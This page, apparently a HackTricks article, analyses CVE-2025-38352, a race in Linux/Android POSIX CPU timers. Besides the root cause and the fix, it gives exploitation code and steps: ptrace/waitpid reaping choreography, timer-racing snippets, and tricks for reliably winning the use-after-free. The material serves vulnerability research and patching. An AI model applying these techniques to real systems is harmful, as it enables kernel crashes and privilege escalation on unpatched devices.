// HackTricks · Linux

POSIX CPU Timers TOCTOU race (CVE-2025-38352)

POSIX CPU Timers TOCTOU race (CVE-2025-38352)

This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.[1][2]

  • Affected component: kernel/time/posix-cpu-timers.c.[1]
  • Primitive: expiry vs deletion race under task exit.[1]
  • Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path).[1]

Quick internals recap (relevant for exploitation):[1]

  • Three CPU clocks drive accounting for timers via cpu_clock_sample():[1]
    • CPUCLOCK_PROF: utime + stime
    • CPUCLOCK_VIRT: utime only
    • CPUCLOCK_SCHED: task_sched_runtime()
  • Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:[1]
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
    struct pid *pid;
    rcu_read_lock();
    pid = pid_for_clock(new_timer->it_clock, false);
    if (!pid) { rcu_read_unlock(); return -EINVAL; }
    new_timer->kclock = &clock_posix_cpu;
    timerqueue_init(&new_timer->it.cpu.node);
    new_timer->it.cpu.pid = get_pid(pid);
    rcu_read_unlock();
    return 0;
}
  • Arming inserts into a per-base timerqueue and may update the next-expiry cache:[1]
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
    struct posix_cputimer_base *base = timer_base(timer, p);
    struct cpu_timer *ctmr = &timer->it.cpu;
    u64 newexp = cpu_timer_getexpires(ctmr);
    if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
    if (newexp < base->nextevt) base->nextevt = newexp;
}
  • Fast path avoids expensive processing unless cached expiries indicate possible firing:[1]
static inline bool fastpath_timer_check(struct task_struct *tsk) {
    struct posix_cputimers *pct = &tsk->posix_cputimers;
    if (!expiry_cache_is_inactive(pct)) {
        u64 samples[CPUCLOCK_MAX];
        task_sample_cputime(tsk, samples);
        if (task_cputimers_expired(samples, pct))
            return true;
    }
    return false;
}
  • Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:[1]
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
                              struct list_head *firing, u64 now) {
    struct timerqueue_node *next; int i = 0;
    while ((next = timerqueue_getnext(head))) {
        struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
        u64 expires = cpu_timer_getexpires(ctmr);
        if (++i == MAX_COLLECTED || now < expires) return expires;
        ctmr->firing = 1;                           // critical state
        rcu_assign_pointer(ctmr->handling, current);
        cpu_timer_dequeue(ctmr);
        list_add_tail(&ctmr->elist, firing);
    }
    return U64_MAX;
}

Two expiry-processing modes:[1]

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
Task_work vs IRQ expiry paths
void run_posix_cpu_timers(void) {
    struct task_struct *tsk = current;
    __run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
    tsk->posix_cputimers_work.scheduled = true;
    task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
    lockdep_posixtimer_enter();
    handle_posix_cpu_timers(tsk);                  // IRQ-context path
    lockdep_posixtimer_exit();
}
#endif

In the IRQ-context path, the firing list is processed outside sighand.[1]

IRQ-context delivery loop
static void handle_posix_cpu_timers(struct task_struct *tsk) {
    struct k_itimer *timer, *next; unsigned long flags, start;
    LIST_HEAD(firing);
    if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
    do {
        start = READ_ONCE(jiffies); barrier();
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);
    } while (!posix_cpu_timers_enable_work(tsk, start));
    unlock_task_sighand(tsk, &flags);              // race window opens here
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        int cpu_firing;
        spin_lock(&timer->it_lock);
        list_del_init(&timer->it.cpu.elist);
        cpu_firing = timer->it.cpu.firing;         // read then reset
        timer->it.cpu.firing = 0;
        if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
        rcu_assign_pointer(timer->it.cpu.handling, NULL);
        spin_unlock(&timer->it_lock);
    }
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit.[1] Preconditions:[1]

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
  • The target task is exiting but not fully reaped
  • Another thread concurrently calls posix_cpu_timer_del() for the same timer

Sequence:[1]

  1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
  2. collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
  3. handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
  4. Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
  5. In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.[1]

How release_task() and timer_delete() free firing timers

Even after handle_posix_cpu_timers() has taken the timer off the task list, a ptraced zombie can still be reaped. The waitpid() stack drives release_task() → __exit_signal(), which tears down sighand and the signal queues while another CPU is still holding pointers to the timer object:[4]

static void __exit_signal(struct task_struct *tsk)
{
    struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
    // ... signal cleanup elided ...
    tsk->sighand = NULL;             // makes future lock_task_sighand() fail
    unlock_task_sighand(tsk, NULL);
}

With sighand detached, timer_delete() still returns success because posix_cpu_timer_del() leaves ret = 0 when locking fails, so the syscall proceeds to free the object via RCU:[4]

static int posix_cpu_timer_del(struct k_itimer *timer)
{
    struct sighand_struct *sighand = lock_task_sighand(p, &flags);
    if (unlikely(!sighand))
        goto out;                   // ret stays 0 -> userland sees success
    // ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
    if (timer_delete_hook(timer) == TIMER_RETRY)
        timer = timer_wait_running(timer, &flags);
    posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
    return 0;
}

Because the slab object is RCU-freed while IRQ context still walks the firing list, reuse of the timer cache becomes a UAF primitive.[4]

Steering reaping with ptrace + waitpid

The easiest way to keep a zombie around without it being auto-reaped is to ptrace a non-leader worker thread. exit_notify() first sets exit_state = EXIT_ZOMBIE and only transitions to EXIT_DEAD if autoreap is true. For ptraced threads, autoreap = do_notify_parent() remains false as long as SIGCHLD is not ignored, so release_task() only runs when the parent explicitly calls waitpid():[4]

  • Use pthread_create() inside the tracee so the victim is not the thread-group leader (wait_task_zombie() handles ptraced non-leaders).
  • Parent issues ptrace(PTRACE_ATTACH, tid) and later waitpid(tid, __WALL) to drive do_wait_pid() → wait_task_zombie() → release_task().
  • Pipes or shared memory convey the exact TID to the parent so the correct worker is reaped on demand.

This choreography guarantees a window where handle_posix_cpu_timers() can still reference tsk->sighand, while a subsequent waitpid() tears it down and allows timer_delete() to reclaim the same k_itimer object.[4]

Why TASK_WORK mode is safe by design:[1][3]

  • With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.[1]
  • Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.[3]

Fix (Android common and Linux stable kernels) and rationale:[1][3][6]

  • Add an early return if the current task is exiting, gating all processing; the stable-tree commit applies the equivalent check before running POSIX CPU timers.[1][3][6]
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
    return;
  • This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.[1][3][6]

Impact:[1][2][8]

  • Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.[1][2][8]

Triggering the bug (safe, reproducible conditions):[4] Build/config:[4]

  • Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch kernel/time/Kconfig to expose a manual toggle:[4]
config POSIX_CPU_TIMERS_TASK_WORK
    bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
    depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
    default y

This mirrors what Android vendors did for analysis builds; upstream x86_64 and arm64 force HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, so the vulnerable IRQ path mainly exists on 32-bit Android kernels where the option is compiled out.[4]

  • Run on a multi-core VM (e.g., QEMU -smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.[4]

Runtime strategy:[4]

  • Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):[4]
    • For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
    • For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
  • Arm with a very short initial expiration and small interval to maximize IRQ-path entries:[4]
static timer_t t;
static void setup_cpu_timer(void) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
    sev.sigev_signo = SIGUSR1;
    if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
    struct itimerspec its = {0};
    its.it_value.tv_nsec = 1;           // fire ASAP
    its.it_interval.tv_nsec = 1;        // re-fire
    if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • From a sibling thread, concurrently delete the same timer while the target thread exits:[4]
void *deleter(void *arg) {
    for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().[1][4]

Practical PoC orchestration

Thread & IPC choreography

A reliable reproducer forks into a ptracing parent and a child that spawns the vulnerable worker thread. Two pipes (c2p, p2c) deliver the worker TID and gate each phase, while a pthread_barrier_t prevents the worker from arming its timer until the parent has attached. Each process or thread is pinned with sched_setaffinity() (e.g., parent on CPU1, child main on CPU0, worker on CPU2) to minimize scheduler noise and keep the race reproducible.[4][5]

Timer calibration with CLOCK_THREAD_CPUTIME_ID

The worker arms a per-thread CPU timer so that only its own CPU consumption advances the deadline. A tunable wait_time (default ≈250 µs of CPU time) plus a bounded busy loop ensure that exit_notify() sets EXIT_ZOMBIE while the timer is just about to fire:[4][5]

Minimal per-thread CPU timer skeleton
static timer_t timer;
static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) {
    puts("timer fired");
}

static void *worker(void *arg) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = timer_fire;
    timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value    = {0, wait_time},
    };

    pthread_barrier_wait(&barrier);  // released by child main after ptrace attach
    timer_settime(timer, 0, &ts, NULL);

    for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting
    return NULL;                                 // do_exit() keeps burning CPU
}

Race timeline

  1. Child tells the parent the worker TID via c2p, then blocks on the barrier.[4]
  2. Parent PTRACE_ATTACHes, waits in waitpid(__WALL), then PTRACE_CONT to let the worker run and exit.
  3. When heuristics (or manual operator input) suggest the timer was collected into the IRQ-side firing list, the parent executes waitpid(tid, __WALL) again to trigger release_task() and drop tsk->sighand.
  4. Parent signals the child over p2c so child main can call timer_delete(timer) and immediately run a helper such as wait_for_rcu() until the timer’s RCU callback completes.
  5. IRQ context eventually resumes handle_posix_cpu_timers() and dereferences the freed struct k_itimer, tripping KASAN or WARN_ON()s.[4]

Optional kernel instrumentation

For research setups, injecting a debug-only mdelay(500) inside handle_posix_cpu_timers() when tsk->comm == "SLOWME" widens the window so the above choreography almost always wins the race. The same PoC also renames threads (prctl(PR_SET_NAME, ...)) so kernel logs and breakpoints confirm the expected worker is being reaped.[4]

Later public PoC reliability tricks

Later public PoCs showed the race can also be won on unmodified 6.12.33-era kernels without inserting a debug mdelay(), mainly by increasing how much kernel work happens after unlock_task_sighand() and by making retries deterministic.[7]

  • Assign different jobs to different timers: use one timer as the actual UAF target and a batch of extra “stall timers” that only exist to keep handle_posix_cpu_timers() busy. Public PoCs used SIGEV_SIGNAL/SIGUSR1 stall timers and a distinct SIGUSR2 signal to detect a successful timer reallocation; researchers also used unique sigev_value markers while instrumenting allocations.[7][8]
  • Calibrate on CPU time, not wall time: measure the per-syscall cost of clock_gettime(CLOCK_THREAD_CPUTIME_ID, ...) / getpid() and burn just enough victim CPU before return so do_exit() lands immediately before expiry. This is more stable than nanosleep() because the timer only advances while the victim thread actually consumes CPU.[7]
  • Stretch complete_signal() from userland: queue several extra timers and create a very large thread group with SIGUSR1 blocked in every helper thread, then drain those signals through a shared signalfd. When cpu_timer_fire() reaches posix_timer_queue_signal() → send_sigqueue() → complete_signal(), the kernel has to inspect far more candidate threads, stretching the post-unlock_task_sighand() window. Public follow-up research reported profiled handling windows around 31-34 ms and a final exploit window around 24-26 ms after tuning.[7][8]
  • Synchronize RCU-backed retries: after timer_delete(), wait for an RCU grace period before attempting immediate reuse or the next retry. Public PoCs used a tiny wait_for_rcu() helper around membarrier(MEMBARRIER_CMD_GLOBAL, 0) so the freed struct k_itimer is no longer only pending call_rcu() when the next attempt starts.[7]

Instrumentation cues during exploitation

  • Add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del() to spot cases where it.cpu.firing==1 coincides with failed cpu_timer_task_rcu()/lock_task_sighand(); monitor timerqueue consistency when the victim exits.[1]
  • KASAN typically reports slab-use-after-free inside posix_timer_queue_signal(), while non-KASAN kernels log WARN_ON_ONCE() from send_sigqueue() when the race lands, giving a quick success indicator.[4]
  • Quick checks that match the public PoCs:[4]
zgrep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /proc/config.gz 2>/dev/null || grep CONFIG_POSIX_CPU_TIMERS_TASK_WORK /boot/config-$(uname -r)

dmesg -w | egrep 'slab-use-after-free in posix_timer_queue_signal|send_sigqueue|handle_posix_cpu_timers: delta_ns='

Audit hotspots (for reviewers):[1]

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap.[1]

Notes for exploitation research:[1][2][8]

  • The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.[1][2][8]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.